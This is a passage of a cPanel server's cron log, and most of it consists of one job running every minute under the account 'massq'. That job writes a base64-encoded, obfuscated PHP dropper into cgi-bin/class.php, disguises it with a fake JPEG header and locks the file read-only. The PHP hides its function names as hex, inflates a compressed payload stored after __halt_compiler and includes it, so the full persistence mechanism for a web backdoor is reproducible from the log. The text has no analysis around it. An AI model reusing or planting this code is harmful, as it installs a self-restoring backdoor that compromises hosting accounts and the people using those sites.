vyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:10:01 server CROND[27072]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 18:10:01 server CROND[27073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:10:01 server CROND[27074]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 18:10:01 server CROND[27075]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 18:11:01 server CROND[27283]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:12:01 server CROND[27372]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 18:12:01 server CROND[27373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:13:01 server CROND[27424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:14:01 server CROND[27485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:15:01 server CROND[27540]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 18:15:01 server CROND[27541]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  6 18:15:01 server CROND[27545]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 18:15:01 server CROND[27546]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Apr  6 18:15:01 server CROND[27548]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:16:01 server CROND[27775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:17:01 server CROND[27828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:18:01 server CROND[27889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:19:01 server CROND[27950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:20:01 server CROND[27999]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 18:20:01 server CROND[28001]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 18:20:01 server CROND[28002]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 18:20:01 server CROND[28004]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 18:20:01 server CROND[28005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:21:01 server CROND[28108]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:22:01 server CROND[28247]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
